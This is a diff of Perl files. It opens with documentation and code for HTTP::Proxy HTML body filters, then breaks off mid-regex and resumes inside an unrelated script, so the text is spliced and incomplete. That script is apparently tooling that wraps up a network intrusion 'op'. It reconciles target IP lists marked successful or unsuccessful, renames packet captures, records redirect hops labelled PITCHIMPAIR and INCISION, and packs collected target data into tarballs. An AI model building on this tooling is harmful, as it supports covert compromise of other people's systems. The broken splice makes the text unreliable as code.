+=head1 NAME + +HTTP::Proxy::BodyFilter::htmlparser - Filter using HTML::Parser + +=head1 SYNOPSIS + + use HTTP::Proxy::BodyFilter::htmlparser; + + # $parser is a HTML::Parser object + $proxy->push_filter( + mime => 'text/html', + response => HTTP::Proxy::BodyFilter::htmlparser->new( $parser ); + ); + +=head1 DESCRIPTION + +The HTTP::Proxy::BodyFilter::htmlparser lets you create a +filter based on the HTML::Parser object of your choice. + +This filter takes a HTML::Parser object as an argument to its constructor. +The filter is either read-only or read-write. A read-only filter will +not allow you to change the data on the fly. If you request a read-write +filter, you'll have to rewrite the response-body completely. + +With a read-write filter, you B recreate the whole body data. This +is mainly due to the fact that the HTML::Parser has its own buffering +system, and that there is no easy way to correlate the data that triggered +the HTML::Parser event and its original position in the chunk sent by the +origin server. See below for details. + +Note that a simple filter that modify the HTML text (not the tags) can +be created more easily with HTTP::Proxy::BodyFilter::htmltext. + +=head2 Creating a HTML::Parser that rewrites pages + +A read-write filter is declared by passing C 1> to the constructor: + + HTTP::Proxy::BodyFilter::htmlparser->new( $parser, rw => 1 ); + +To be able to modify the body of a message, a filter created with +HTTP::Proxy::BodyFilter::htmlparser must rewrite it completely. The +HTML::Parser object can update a special attribute named C. +To do so, the HTML::Parser handler will have to request the C +attribute (that is to say, require access to the parser itself) and +update its C key. + +The following attributes are added to the HTML::Parser object by this filter: + +=over 4 + +=item output + +A string that will hold the data sent back by the proxy. + +This string will be used as a replacement for the body data only +if the filter is read-write, that is to say, if it was initialised with +C 1>. + +Data should always be B to C<$parser-E{output}>. + +=item message + +A reference to the HTTP::Message that triggered the filter. + +=item protocol + +A reference to the HTTP::Protocol object. + +=back + +=head1 METHODS + +This filter defines three methods, called automatically: + +=over 4 + +=item filter() + +The C method handles all the interactions with the HTML::Parser +object. + +=item init() + +Initialise the filter with the HTML::Parser object passed to the constructor. + +=item will_modify() + +This method returns a boolean value that indicates to the system +if it will modify the data passing through. The value is actually +the value of the C parameter passed to the constructor. + +=back + +=head1 SEE ALSO + +L, L, +L. + +=head1 AUTHOR + +Philippe "BooK" Bruhat, Ebook@cpan.orgE. + +=head1 COPYRIGHT + +Copyright 2003-2006, Philippe Bruhat. + +=head1 LICENSE + +This module is free software; you can redistribute it or modify it under +the same terms as Perl itself. + +=cut + diff --git a/Linux/bin/noproxy/HTTP/Proxy/BodyFilter/htmltext.pm b/Linux/bin/noproxy/HTTP/Proxy/BodyFilter/htmltext.pm new file mode 100755 index 0000000..8f27e0c --- /dev/null +++ b/Linux/bin/noproxy/HTTP/Proxy/BodyFilter/htmltext.pm @@ -0,0 +1,121 @@ +package HTTP::Proxy::BodyFilter::htmltext; + +use strict; +use Carp; +use HTTP::Proxy::BodyFilter; +use vars qw( @ISA ); +@ISA = qw( HTTP::Proxy::BodyFilter ); + +sub init { + croak "Parameter must be a CODE reference" unless ref $_[1] eq 'CODE'; + $_[0]->{_filter} = $_[1]; +} + +sub begin { $_[0]->{js} = 0; } # per message initialisation + +sub filter { + my ( $self, $dataref, $message, $protocol, $buffer ) = @_; + + my $pos = pos($$dataref) = 0; + SCAN: + { + $pos = pos($$dataref); + $$dataref =~ /\G<\s*(?:script|style)[^>]*>/cgi # protect + && do { $self->{js} = 1; redo SCAN; }; + $$dataref =~ /\G<\s*\/\s*(?:script|style)[^>]*>/cgi # unprotect + && do { $self->{js} = 0; redo SCAN; }; + # comments are considered as text + # if you want comments as comments, + # use HTTP::Proxy::BodyFilter::htmlparser + $$dataref =~ /\G 10.1.1.2 hostname3.domain.com PROJECTNAME TYPE STATUS [comments]\\n". + ".....\\n\\n". + "\\n\\n". + "Note that all fields are delimited by any number of whitespaces (space or tab).\\n\\n". + "Where TYPE can be any of: \\n". + " w windows win\\n". + " u unix nix\\n". + " unk unknown\\n". + " f firewall fw\\n". + " r router rtr\\n\\n". + " c canopy can\\n\\n". + "STATUS can be any of: \\n". + " s suc succ success successful\\n". + " u unsuc unsucc unsuccess successful\\n". + " not not-attempted\\n". + " non nonstandard non-standard\\n\\n". + "and COMMENTS can be anything, including whitespace, e.g.: exp GS INST SS SC DD\\n\\n". + "\\n\\n". + "You must fix this before you can continue.\\n\\n"); + sleep 2; + my \$countdown=3; + printboth("Continuing in \$countdown...\n"); + while (\$countdown-- > 0) { + sleep 1; + printboth(" \$countdown...\\n"); + } + fixboth(\$malformed); + next; + } + last unless (\$foundipsecond and \$foundipfirst); + printboth("STOP HERE AND READ THIS!!!!!! + +It looks like you have a target list in both the Unix opnotes and Windows notes. +Please put the correct target list into opnotes.txt and delete the target list +from opnotes.bak, and then press Enter to continue. Any notes in the +\"Results\" section of both files should be unaffected.\\n"); + + fixboth(); + + } # end while (1) + copy("\$opdown/opnotes.txt","\$opdown/opnotes.txt.".timestamp(short)); + copy("\$opdown/opnotes.bak","\$opdown/opnotes.bak.".timestamp(short)); + + if (\$foundipsecond and ! \$foundipfirst) { + ### ASSERT: We now have two copies, the .bak one is the unix one now complete + ### and the .txt one is the windows one but WITHOUT anything in its + ### target section. + ### We swap the two here, so .txt is now the good one either way. + system("cp -vf \$opdown/opnotes.bak /tmp/a 2>&1 | tee -a \$logfile; cp -vf \$opdown/opnotes.txt \$opdown/opnotes.bak 2>&1 | tee -a \$logfile; cp -vf /tmp/a \$opdown/opnotes.txt 2>&1 | tee -a \$logfile; rm -vf /tmp/a 2>&1 | tee -a \$logfile"); + } + # ASSERT: The opnotes.txt is the best at this point, .bak if there is the windows one. + + discoverips("\$topdate/$DOWN/opnotes.txt", + " in MERGED opnotes.txt","opnotes.txt"); + + + # Prompt here make sure it's ok, + # if it is not take fresh (unmodified by getopdata) + # targets section from user and pray.. + \$ans = &getinput("\\n\\n". + "ORIGINAL TARGETS SECTION:\\n". + "---------------------------------\\n". + "\$originaltargets". + "---------------------------------\\n". + "MODIFIED TARGETS SECTION:\\n". + "---------------------------------\\n". + "\$modifiedtargets". + "---------------------------------\\n". + "You can revise the above modified targets section if you need to.\\n". + "If this looks at all wrong, answer No and you will be given a\\n". + "pop-up editor to fix just that section before it is put permanently\\n". + "into the final opnotes.txt.\\n". + "\\n\\n". + "Does the MODIFIED TARGETS SECTION look acceptable?". + "", + "Y"); + if (\$ans =~ /^n/i) { + printboth("\\n\\nIn the pop-up vi window, modify the ENTIRE content\\n". + "to how you want the final targets section to look. No further\\n". + "automation will be attempted on this section and messing\\n". + "it up can cause you lots of problems. So don't do that.\\n\\n"); + open(OPINFOOUT,"> \$topdate/.tmptargets"); + print OPINFOOUT \$modifiedtargets."\\n"; + close(OPINFOOUT); + system("xterm -geometry 135x56-0-0 -title \"OP NOTES - FIX TARGETS SECTION\" -e \"\$editor \$topdate/.tmptargets\""); + open(OPINFOIN,"\$topdate/.tmptargets"); + \$modifiedtargets = ""; + while () { + \$modifiedtargets .= \$_ ; + } + } + printboth("\\n\\nUsing new targets section to write final opnotes.txt:\\n". + "---------------------------------\\n". + "\$modifiedtargets\\n". + "---------------------------------\\n"); + + # Replace targets section in opnotes.txt with the \$modifiedtargets. + # Save any previous .premods from old runs if any + copy("\$opdown/opnotes.txt","\$opdown/opnotes.txt.".timestamp(short)); + copy("\$opdown/opnotes.bak","\$opdown/opnotes.bak.".timestamp(short)); + preservefile("\$topdate/$DOWN/opnotes.premod"); + rename("\$topdate/$DOWN/opnotes.txt", + "\$topdate/$DOWN/opnotes.premod") + or die "Cannot rename opnotes.txt to opnotes.premod, very bad\n"; + open(OPINFOIN, "< \$topdate/$DOWN/opnotes.premod"); + open(OPINFOOUT, "> \$topdate/$DOWN/opnotes.txt"); + my \$targsdone = 0; + while () { + print OPINFOOUT; + if (/^Targets/i) { + print OPINFOOUT \$modifiedtargets; + last; + } + } + while () { + next unless (/^results/i or \$targsdone); + \$targsdone++; + print OPINFOOUT; + } + close(OPINFOIN); + close(OPINFOOUT); + + printboth(gmtime()." Modified targets section put in final opnotes.txt\\n"); + + discoverips("\$topdate/$DOWN/opnotes.txt"); + + # For any addresses not in both places, figure out what the deal is + unless (keys(%unknownIPdirs) == 0 and keys(%unknownIPnotes) == 0) { + printboth("\\nTHERE ARE UNRESOLVED IP ADDRESSES BETWEEN OP DETAILS AND DOWNLOADED DATA:\\n\\n"); + printboth("\\n ".scalar (keys %unknownIPdirs)." TARGET DIRECTORIES IN \$opdown DO NOT HAVE A CORRESPONDING TARGETS SECTION ENTRY\\n\\n") + if (%unknownIPdirs); + printboth("\\n ".scalar (keys %unknownIPnotes)." TARGET ENTRIES IN THE TARGETS SECTION FOR WHICH NO TARGET DATA HAS BEEN FOUND.\\n\\n") + if (%unknownIPnotes); + foreach \$addr (keys %unknownIPnotes) { + printboth("\\nFound IP \"\$addr\" in OP DETAILS, but no directory for this.\\n"); + + # If unresolved addresses in the directory, print those out, maybe one + # corresponds to the other + unless (keys(%unknownIPdirs) == 0) { + printboth("\\nHere are IPs and the directories from \$opdown that contain them to which \"\$addr\" may correspond:\\n\\n"); + my \$ipcount = 1; + my \$spaces = \$otheraddr; + my %whichips = (); + \$spaces =~ s,., ,g; + my \$morelines = join("\t\$spaces\t",split(/\n/,\$unknownIPdirs{\$otheraddr})); + foreach \$otheraddr (sort keys %unknownIPdirs) { + printboth(" (\$ipcount)\t\$otheraddr\t\$morelines\\n"); + \$whichips{\$ipcount++} = \$otheraddr; + } + \$ipcount--; + printboth("\\n\\nThis could also be a Windows IP, non-NOPEN IP, unsuccessful IP, etc. In this case, enter \"NONE\".\\n\\n"); + \$ans = getinput("Enter corresponding IP from the list of \$ipcount IPs shown above, or \"NONE\" if none: "); + chomp \$ans; + if (\$ans =~ m,^\d+$,) { + \$ans = \$whichips{int(\$ans)} + if (defined \$whichips{int(\$ans)}); + } + + # If none, remove it from the unaccounted for list + if (\$ans =~ /none/i) { + delete(\$unknownIPnotes{\$addr}); + \$nofilename{\$addr}++; + next; + } + + # If one IP in the notes is the same box as another IP in the directory, + # note this in the notes with an "ALIAS" tag + if (exists(\$unknownIPdirs{\$ans})) { + preservefile("\$topdate/$DOWN/opnotes.txt.alias"); + open(OPNOTESBEFORE, "< \$topdate/$DOWN/opnotes.txt"); + open(OPNOTESAFTER, "> \$topdate/$DOWN/opnotes.txt.alias"); + while () { + if (/^Results/i) { # $addr in opnotes, $ans from $opdown + print OPNOTESAFTER "ALIAS: \$addr = \$ans\\n\\n"; + \$aliasedip{\$addr} = \$ans; + } + print OPNOTESAFTER unless /^ALIAS: \$addr = \$ans/; + } + close(OPNOTESBEFORE); + close(OPNOTESAFTER); + system("mv -f \$topdate/$DOWN/opnotes.txt.alias \$topdate/$DOWN/opnotes.txt"); + delete(\$unknownIPnotes{\$addr}); + delete(\$unknownIPdirs{\$ans}); + } + else { + # Indicated didn't match up with a known IP, prompt to make sure that + # this is correct + printboth("CANNOT FIX THIS AUTOMATICALLY. YOU MUST FIX THE OP DETAILS MANUALLY.\\n"); + printboth("WHEN OP DETAILS FIXED, PLEASE HIT ENTER IN THIS WINDOW\\n\\n"); + copy("\$opdown/opnotes.txt","\$opdown/opnotes.txt.".timestamp(short)); + copy("\$opdown/opnotes.bak","\$opdown/opnotes.bak.".timestamp(short)); + system("xterm -title \"OP NOTES - opnotes.txt\" -e \"\$editor \$topdate/$DOWN/opnotes.txt\" &"); + + while (1) { + last unless \`ps -ef | grep "vim.*opnotes" | grep -v grep\`; + sleep(2); + } + + \$ans = getinput("Press Enter to continue."); + next RESOLVE; + } # end else for unless (keys(%addrdirs) == 0) + } # end unless (keys(%unknownIPdirs) == 0 and keys(%unknownIPnotes) == 0) + else { + # Prompt to make sure that an IP in the notes that has no data (and that + # isn't saved under another IP address) is a valid state to be in + printboth("IP \$addr EXISTS IN NOTES, BUT THERE IS NO CORRESPONDING DIRECTORY FOR IT IN \"\$opdown\"\\n"); + printboth("This could be because target was unattempted, unsuccessful, \\n"); + printboth("a non-Unix target, etc.\\n\\n"); + \$ans = getinput("Is this correct? (Y/N):", "n"); + if (\$ans =~ /^[yY]/) { + delete(\$unknownIPnotes{\$addr}); + \$nofilename{\$addr}++; + next; + } + # If we are here, need to go fix the notes manually and then try again + # later... + printboth("CANNOT FIX THIS AUTOMATICALLY. YOU MUST FIX THE OP DETAILS MANUALLY.\\n"); + printboth("WHEN OP DETAILS FIXED, PLEASE HIT ENTER IN THIS WINDOW\\n\\n"); + copy("\$opdown/opnotes.txt","\$opdown/opnotes.txt.".timestamp(short)); + copy("\$opdown/opnotes.bak","\$opdown/opnotes.bak.".timestamp(short)); + system("xterm -title \"OP NOTES - opnotes.txt\" -e \"\$editor \$topdate/$DOWN/opnotes.txt\" &"); + + while (1) { + last unless \`ps -ef | grep "vim.*opnotes" | grep -v grep\`; + sleep(2); + } + + \$ans = getinput("Press Enter to continue."); + next RESOLVE; + } # end else for unless (keys(%unknownIPdirs) == 0 and keys(%unknownIPnotes) == 0) + } # end foreach \$addr (keys %unknownIPnotes) + + # Now check to resolve any outstanding IP's in the directory structure + unless (keys(%unknownIPdirs) == 0) { + my \$count = keys %unknownIPdirs; + my \$iplist = ""; + foreach my \$addr (keys %unknownIPdirs) { + \$iplist .= sprintf(" IP = %15s DATA FILE/DIR IN \$opdown: \$unknownIPdirs{\$addr}",\$addr); + } + printboth("============================================================================\n"); + printboth("\$iplist\n"); + printboth("============================================================================\n"); + printboth("THERE ARE \$count IP ADDRESSES NOT IN THE OP DETAILS TARGETS SECTION FROM WHICH\\n"); + printboth("DATA HAS BEEN COLLECTED. ABOVE ARE THOSE IPs ALONG WITH THE DATA IN \$opdown\\n"); + printboth("FROM EACH IP.\\n\\n"); + printboth("YOU MUST EITHER ADD THESE HOSTS TO YOUR TARGETS SECTION OR CORRECT ANY TYPOS OR\\n"); + printboth("OTHER MISTAKES THAT LED TO THIS DISCONNECT BEFORE PROCEEDING. WHEN YOU HAVE FINISHED\n"); + printboth("EDITING YOUR NOTES FILE AND/OR MOVING/RENAMING FILES/DIRS, HIT ENTER TO CONTINUE!!!\\n\\n"); + + copy("\$opdown/opnotes.txt","\$opdown/opnotes.txt.".timestamp(short)); + copy("\$opdown/opnotes.bak","\$opdown/opnotes.bak.".timestamp(short)); + system("xterm -title \"OP NOTES - opnotes.txt\" -e \"\$editor \$topdate/$DOWN/opnotes.txt\" &"); + + while (1) { + last unless \`ps -ef | grep "vim.*opnotes" | grep -v grep\`; + sleep(2); + } + + \$ans = getinput("Press Enter to continue."); + next RESOLVE; + } # end unless (keys(%unknownIPdirs) == 0) + } # end unless (keys(%unknownIPdirs) == 0 and keys(%unknownIPnotes) == 0) + + # We confirm \$gbl_opproject if it isn't showing up in targets yet + unless (\$projectlist{lc \$gbl_opproject}) { + my \$more = ""; + foreach (keys %gbl_externalIP) { + \$more .= " \$_\n"; + } + \$more = "PUBLIC IPs USED:\n\$more" + if \$more; + if (\$gbl_modifiedtargets) { + \$more .= "\n\nTargets thus far in Unix Opnotes:\n\$gbl_modifiedtargets\n\n"; + } elsif (\$gbl_targets) { + \$more .= "\n\nTargets thus far in Unix Opnotes:\n\$gbl_targets\n\n"; + } + \$gbl_opproject = "NOTHING" unless \$gbl_opproject; + \$ans = &getinput( + "Op synopsis thus far:\n\n". + \$more. + "Op Bandwidth: \$opmegs M\n\n". + "You initially defined \"\$gbl_opproject\" as the project for this op, but that is not one of the projects in your opnotes.\n". + "Please correct any error in that project name here and/or in your opnotes.\n\n", + "Project name: ". + \$gbl_opproject); + # Clean out garbage chars + \$ans =~ s/[^a-zA-Z0-9_]//g; + newhostvar("gbl_opproject",lc \$ans) unless (!\$ans); + next RESOLVE; + } + + # Make sure found at least one target in the target list + unless (\$foundtargets) { + printboth("DID NOT FIND A TARGET LIST IN OPNOTES.TXT!!! PLEASE FIX THIS FOR OP"); + printboth("NOTES VALIDATION!!!!\\n\\n"); + copy("\$opdown/opnotes.txt","\$opdown/opnotes.txt.".timestamp(short)); + copy("\$opdown/opnotes.bak","\$opdown/opnotes.bak.".timestamp(short)); + system("xterm -title \"OP NOTES - opnotes.txt\" -e \"\$editor \$topdate/$DOWN/opnotes.txt\" &"); + + while (1) { + last unless \`ps -ef | grep "vim.*opnotes" | grep -v grep\`; + sleep(2); + } + + \$ans = getinput("Press Enter once there is a target list in opnotes.txt"); + next RESOLVE; + } + + # Check if we have resolved all the issues + \$resolvedone = 1 if (keys(%unknownIPdirs) == 0 and keys(%unknownIPnotes) == 0); + +} # end RESOLVE: + +# Parse op notes, figure out projects names and order of hosts in the tarball +# file name +open(OPNOTESIN, "< \$topdate/$DOWN/opnotes.txt"); +\$intarglist = 0; +@targlist = (); +while () { + last if (/^Results/i); + next if (/^ALIAS:/i); + if (my \$ip = processline(\$_,"quiet")) { + \$indented = index(\$_, \$ip); + push(@targlist, \$ip); + push(@targlist, \$indented); + dbg("asdf1234 - pushed ip=\$ip= and indented=\$indented= onto targlist, now is targlist=(@targlist)"); + } +} +close(OPNOTESIN); + +\$projectname = ""; +\$projectname = \$projectnamelower ; +\$projectname = \$projectnamefromnotes + if (\$projectnamefromnotes and !\$projectname ); + +# This call to autoutils will re-read opnotes.txt just saved to set \$gbl_* variables. +do "\$topdate/etc/autoutils" ; + +# Last resort: If above does not yet set it but the \$gbl_* variables have it, use that. +\$projectname = \$gbl_projectlist[\$#gbl_projectlist] + if (length \$gbl_projectlist[\$#gbl_projectlist] and !\$projectname) ; + +my \$atleast = 1; +while (\$atleast-- or ! \$projectname) { + \$projectname = &getinput("\\nEnter Project Name for this Op: ", + \$projectname); +} + +# Default first hop always to pitch unless \$nsrat in use +# APR2013: NO LONGER: \$projectmap{\$targlist[0]} = "pitchimpair" unless \$nsrat; + +# Build rest of IP/project mappings +for (\$pitchindex = 0; \$pitchindex < scalar @targlist; \$pitchindex += 2) { + if (\$projectnamefromnotes{\$targlist[\$pitchindex]}) { + \$projectmap{\$targlist[\$pitchindex]} = \$projectnamefromnotes{\$targlist[\$pitchindex]}; + } else { + \$projectmap{\$targlist[\$pitchindex]} = \$projectnamelower; + } +} +\$lsoutput = \`ls -1 \$topdate/bin/varkeys/pitchimpair\`; +@lslines = split(/\\n/, \$lsoutput); +foreach \$ipaddr (keys %projectmap) { + foreach \$lsline (@lslines) { + if (\$lsline =~ /\$ipaddr\$/) { + \$projectmap{\$ipaddr} = "pitchimpair"; + last; + } + } +} + +my %pitchhostip = (); +my \$pitchhostip = ""; +# Get confirmation for project names for each IP +printboth("\\nCONFIRMING PROJECT NAMES FOR EACH IP ADDRESS, FOR USE IN TARBALL NAME:\\n\\n"); +foreach \$ipaddr (keys %projectmap) { + unless (exists(\$nofilename{\$ipaddr})) { + \$projectmap{\$ipaddr} = getinput("Enter Project Name for IP \$ipaddr:", \$projectmap{\$ipaddr}); + if (\$aliasedip{\$ipaddr}) { + \$projectmap{\$aliasedip{\$ipaddr}}=\$projectmap{\$ipaddr}; + } + if (lc \$projectmap{\$ipaddr} eq "pitchimpair") { + if (\`find \$topdate/${DOWN}/*.\$ipaddr -maxdepth 0 -type d 2>/dev/null | head -1\` + =~ m,/down/(\S*),) { + \$pitchhostip{\$ipaddr} = \$1 ; + \$pitchhostip = \$1 unless \$pitchhostip; + } + } + } +} + +# Rename all the unixdump.* files so the PITCH HOST.IP +# and \$projectnamelower is in there for easy finding later. +# Also output the list of them and put them in opnotes.txt. +printboth("Renaming unixdump pcap files for your op:\\n"); +foreach my \$dumpfile (split(/\\n/,\`find $TOP/pcaps/unixdump.*\`)) { + my \$newname = \$dumpfile; + \$newname =~ s/unixdump\\./\${pitchhostip}_/; + if (\$newname =~ /\\.info/) { + \$newname =~ s/\\.info/.\$projectnamelower.info/; + } else { + \$newname .= ".\$projectnamelower.pcap"; + } + my \$dumpbase = basename \$dumpfile; + printboth(" \$dumpbase -> \$newname\\n"); + rename(\$dumpfile,\$newname); +} +printboth( my \$pcapfilelist = + "PCAP Captures of your entire op can be found\\n". + "here later if need be:\\n--------------------------------------------\\n". + "ls -alrt $TOP/pcaps/\$pitchhostip*\$projectnamelower.pcap | sort +4n\\n". + \`ls -alrt $TOP/pcaps/\$pitchhostip*\$projectnamelower.pcap | sort +4n\`. + "\\n\\n"); + + +# We put the last few lines of bwmonitor.txt into the opnotes. +my \$bwmonitorfile = "\$topdate/$DOWN/bwmonitor.txt" ; +my \$bwtest = \`ps -efwwwww |grep -v \$\$ | grep Bandwidth\`; +my (\$xtermpid) = \$bwtest =~ /root\s+(\d+)\s/; +# We are done, so stop the bwmonitor if it is still running. +if (\$xtermpid > 1) { + kill TERM,\$xtermpid; +} +my \$bwmontail = \`tail -4 \$bwmonitorfile\` ; +if (\$bwmontail and open(OPNOTESOUT,">> \$topdate/$DOWN/opnotes.txt")) { + print OPNOTESOUT "###################\\n". + "SCRUBHANDS v${SCRUBVER} (suite v${SUITEVER} run in \$suite/\$ethprivaddr) command line:\\n:\\n". + "${CALLEDAS}\\n". + "###################\\n"; + printboth( "###################\\n". + "SCRUBHANDS v${SCRUBVER} (suite v${SUITEVER} run in \$suite/\$ethprivaddr) command line:\\n:\\n". + "${CALLEDAS}\\n". + "###################\\n"); + + print OPNOTESOUT "Final lines of bwmonitor.txt:\\n" ; + printboth("Final lines of bwmonitor.txt:\\n"); + print OPNOTESOUT \$bwmontail."\n" ; + printboth(\$bwmontail."\n"); +} +close(OPNOTESOUT); + + + +# We want every PITCHIMPAIR to have its own copy of bwmonitor.txt. Bit of a waste +# of bytes but we hardly ever have more than one PITCH. +my \$bwmoncopied = 0; +if (-f \$bwmonitorfile and + -s _ and keys %pitchhostip > 0) { + # bwmonitor.txt: we are close to done now, so rename it with PITCHIMPAIR ip.hostname + printboth("\\n\\nCopying bwmonitor.txt file once per PITCHIMPAIR:\\n"); + foreach my \$pitchhostip (keys %pitchhostip) { + print \`cp -p \$mvv \$bwmonitorfile \$bwmonitorfile.\$pitchhostip 2>&1 | tee -a \$logfile\`; + \$bwmoncopied++; + if (open(PCAPSOUT,">>\$topdate/$DOWN/pcaps_list_from_op.\$pitchhostip")) { + print PCAPSOUT \$pcapfilelist ; + } + close(PCAPSOUT); + } +} + + +# WTF WAS THIS FOR? rename(\$bwmonitorfile,"\$topdate/bwmonitor.txt"); +# OK: Needs to be in /current so put it there with copy, unlink it IF we +# duped it above to at least one pitchip +copy(\$bwmonitorfile,"\$topdate/bwmonitor.txt"); + +# Build the "redirect" lines +# The host that redirected to it is the previous host in the list whose +# indentation is less than the current hosts' indentation +\$redirectcount = 1; +open(REDIRECTINFOOUT, "> \$topdate/$DOWN/redirectinfo.txt"); +for (\$redirindex = 0; \$redirindex <= scalar @targlist; \$redirindex += 2) { + for (\$redirindexinner = \$redirindex - 2; \$redirindexinner >= 0; \$redirindexinner -= 2) { + if (\$targlist[\$redirindexinner + 1] < \$targlist[\$redirindex + 1]) { + if (\$projectmap{\$targlist[\$redirindexinner]} eq "pitchimpair") { + print REDIRECTINFOOUT "Redirecting Method \$redirectcount:\tPITCHIMPAIR\\n"; + } else { + print REDIRECTINFOOUT "Redirecting Method \$redirectcount:\tINCISION\\n"; + } + print REDIRECTINFOOUT "Redirect Host \$redirectcount:\t\$targlist[\$redirindexinner]\\n"; + print REDIRECTINFOOUT "Redirect Target \$redirectcount:\t\$targlist[\$redirindex]\\n"; + \$redirectcount++; + last; + } + } +} +close(REDIRECTINFOOUT); + + copy("\$opdown/opnotes.txt","\$opdown/opnotes.txt.".timestamp(short)); + copy("\$opdown/opnotes.bak","\$opdown/opnotes.bak.".timestamp(short)); +# Create the "final" opnotes file with ispinfo, redirectinfo, and the notes +system("cd \$topdate/$DOWN; cat ispinfo.txt redirectinfo.txt opnotes.txt opnotes.bak 2>/dev/null > opnotes.txt.new; mv -f opnotes.txt.new opnotes.txt; rm -f opnotes.bak"); +sleep 1; + + copy("\$opdown/opnotes.txt","\$opdown/opnotes.txt.".timestamp(short)); + copy("\$opdown/opnotes.bak","\$opdown/opnotes.bak.".timestamp(short)); + +# Send the notes back to the Windows side if need be +\$winnotesdefault = "N"; +if (\$gotwindowsnotes) { + \$winnotesdefault = "Y"; +} + +\$ncans = getinput("Do you want to push all op data, including the validated contents of opnotes.txt to the Windows box?" , \$winnotesdefault) + unless (\$ncans eq "D"); +my \$opnotesip = \$gotwindowsnotes; +my \$sharetarball = 0; +if (\$ncans =~ /^[yYD]/) { + while (1) { + \$gotwinbox = 1; + \$sharetarball = 1; + \$opnotesip = "" + unless \$opnotesip =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\$/ ; + printboth("\n\nPushing validated opnotes.txt to the Windows box via sendopnotes..."); + copy("\$opdown/opnotes.txt","\$opdown/opnotes.txt.".timestamp(short)); + copy("\$opdown/opnotes.bak","\$opdown/opnotes.bak.".timestamp(short)); + preservefile("\$optmp/sendopnotes.output"); + system("OPNOTESIP=\$opnotesip sendopnotes 2>&1 | tee -a \$logfile | tee \$optmp/sendopnotes.output"); + my \$result = myreadfile("\$optmp/sendopnotes.output"); + + printboth(\$result); + if (\$result =~ /Sent (\d+)/i) { + printboth("Sent opnotes.txt to \$opnotesip ($1 bytes)"); + } else { + my \$ans2 = getinput( + "\$COLOR_FAIL\n\n". + "That seemed to fail. You'll have to transfer the complete opnotes.txt to the windows box manually.\n\n". + "Hit Enter to continue."); + } + last; + } +} else { + \$gotwinbox = 0; +} + +# Build the default tarball file name, still can be overridden +%alreadybuilt = (); +\$tarballfilename = ""; +for (\$tempindex = 0; \$tempindex < scalar @targlist; \$tempindex += 2) { + dbg("asdf1234 - IP: \$targlist[\$tempindex]"); + dbg("asdf1234 - Indent: \$targlist[\$tempindex+1]"); +} +buildfilename(@targlist); +dbg("asdf1234 - Final tarball name: =\$tarballfilename="); +\$tarballfilename =~ s/.tar.bz2/_\$gbl_opuser.tar.bz2/; +\$tarballfilename = "\${gbl_opstartdate}_\$tarballfilename"; + +# Default tarball filename might be too long +\$maxtarballnamelen = 200; +if (length(\$tarballfilename) > \$maxtarballnamelen) { + printboth("\\nDEFAULT GENERATED TARBALL NAME TOO LONG!!!\\n"); + sleep 1; + printboth("\\nDEFAULT GENERATED TARBALL NAME TOO LONG!!!\\n"); + sleep 1; + printboth("\\nDEFAULT GENERATED TARBALL NAME TOO LONG!!!\\n"); + printboth("NAME WAS: \$tarballfilename\\n"); + \$tarballfilename = ""; +} + + +# Notice about UNSUCCESSFUL targets showing in filename now +printboth("\\n\\n\\n\\nNOTE: UNSUCCESSFUL UNIX hops are now put into the tarball\\n". + " filename. This new behavior is correct.\\n\\n"); + +printboth("\\nCreating tarball of \$topdate/$DOWN*\\n"); +\$date = "\$datedir"; +\$date =~ s/junk\.//; +\$target = "" ; +until (\$target) { + \$target = &getinput(" Target Name: ",\$tarballfilename); +} +\$tarball = "\$target.\$date.tar.bz2" ; + + +# Look elsewhere in \$opdir for stuff that maybe should be moved to down/ +# before we pack it up. +# +my \$donemoving = 0; +while (! \$donemoving) { + my @srcfiles = (); + my %ipfiles = nondatafiles(0,\@srcfiles,"\$topdate"); + + if (%ipfiles) { + foreach my \$ip (sort keys %ipfiles) { + printboth("\\n\$COLOR_NOTE\\n". + "\$ip\\n===============\\n".\$COLOR_NORMAL. + \$ipfiles{\$ip}.\$COLOR_NOTE . + "\\n"); + } + my \$count = scalar keys %ipfiles; + \$ans = getinput( + "getopdata found the above\$COLOR_FAILURE \$count\$COLOR_NORMAL files that contain what may be an IP address.\\n". + "You can clean/move that data now. Be sure any target data ends up in \$opdown,\\n". + "non-target data can be moved to \$optmp\\n\\n". + "You will be prompted once per above file about moving it to \$opdown unless\\n". + "they (or their parent directory) are moved now.\\n\\n" + ); + } + \$donemoving++;# Not using this actually, leave in in case we want to... + foreach my \$ip (keys %ipfiles) { + dbg("POTENTIAL IP FILES FOR IP=\$ip:\\n". + \$ipfiles{\$ip}); + my (\$ans,\$dot) = (); + my \$morename = \$gbl_hostnamehash{\$ip}; + foreach my \$file (split("\n",\$ipfiles{\$ip})) { + \$file =~ s,^\$COLOR_FAILURE,,; + \$file =~ s,\$COLOR_NORMAL$,,; + # In case they've shifted things and this is not there anymore + next unless (-f \$file); + my \$dirname = dirname(\$file); + \$dirname =~ s,^\$topdate/*,,; + next unless \$dirname; + if (\$morename and \$dirname =~ /$morename/i) { + \$morename = ""; + } + my \$newdir = "\$topdate/$DOWN/\$more\$dirname"; + until (\$ans =~ /^\s*[yn]/i) { + \$ans = &getinput + ("\$more\\n\\n". + "===============\\n\\n". + " \$file\\n\\n". + "getopdata found the above file not in /\$topdate/$DOWN,\\n". + "and you have the option of moving it now to:\\n\\n". + " \$newdir\\n\\n". + "If left where it is, it WILL be wiped after your op and WILL NOT\\n". + "be put in your op tarball.\\n\\n". + "You may also answer NO here AFTER taking care of it in another window.\\n\\n". + "Move it to the new location?","Y"); + \$dot = ".\\n\$COLOR_FAILURE INVALID ANSWER\$COLOR_NORMAL"; + } + if (\$ans =~ /^\s*y/i) { + my \$filebase = basename(\$file); + \`mkdir -vp "\$newdir" 2>/dev/null 2>&1 | tee -a \$logfile\`; + rename(\$file,"\$newdir/\$filebase"); + printboth("\\nMOVED TO:\\n\\nls -alrt \$newdir\\n".\`ls -alrt \$newdir\`); + } + } + printboth("\\n\\n"); + } +} + +# This will contain our filename that is the operator list +my (\$firstthis,\$opdonebyfile) = (); + + +if (@opusers = (\$gbl_opuser)) { + my \$showerr = ""; + while (1) { + my \$ans = getinput("\${showerr}List any other operators\' numeric ids, space or comma delimited:","NONE"); + last unless (\$ans and \$ans ne "NONE"); + \$ans =~ s/^\s*//; + \$ans =~ s/\s+/,/g; + unless (\$ans and \$ans =~ /^\d+(,\d+)*\$/ and \$ans > 0) { + \$showerr = "\n\$COLOR_FAILURE\nINVALID RESPONSE, enter either nothing or (comma or space delimited) integers.\n\$COLOR_NORMAL\n"; + next; + } + 